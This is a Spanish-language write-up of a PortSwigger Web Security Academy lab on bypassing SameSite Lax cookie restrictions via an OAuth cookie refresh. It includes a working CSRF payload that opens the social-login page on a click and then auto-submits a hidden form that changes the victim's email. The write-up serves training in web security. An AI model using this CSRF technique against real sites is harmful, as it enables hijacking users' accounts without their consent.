
Descripción
This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.
The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter
Note
The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp’s built-in Chromium browser) to test your exploit.
SameSite Lax bypass via cookie refresh writeup
Accedemos al laboratorio e iniciamos sesión en ‘My account’ con el usuario ‘wiener’ y la contraseña ‘peter’. Ahora cambiaremos nuestro correo electrónico y nos llevaremos esa petición al ‘Repeater’ con Ctrl + R.
Generaremos un CSRF PoC con Click derecho -> Engagement tools -> Generate CSRF PoC.
Si lo intentamos enviar a la víctima no funcionará directamente, debido a que la cookie tiene el ‘SameSite’ en ‘Lax’. Tendremos que modificarlo ligeramente:
<form method="POST" action="https://0a0d005d03bae1f8802e769500c800b6.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test2@cyberhub.es">
</form>
<script>
window.onclick = () => {
window.open('https://0a0d005d03bae1f8802e769500c800b6.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
Con esto conseguimos que el usuario inicie sesión, llevándolo al ‘social-login’ cuando haga click en cualquier lado de la página. Al acabar de iniciar sesión a través de OAuth, Chrome no pone restricciones en su cookie por 2 minutos, por lo que después de 5 segundos, ejecutamos la función ‘changeEmail()’, que se encargará de cambiar su correo, completando así el laboratorio:

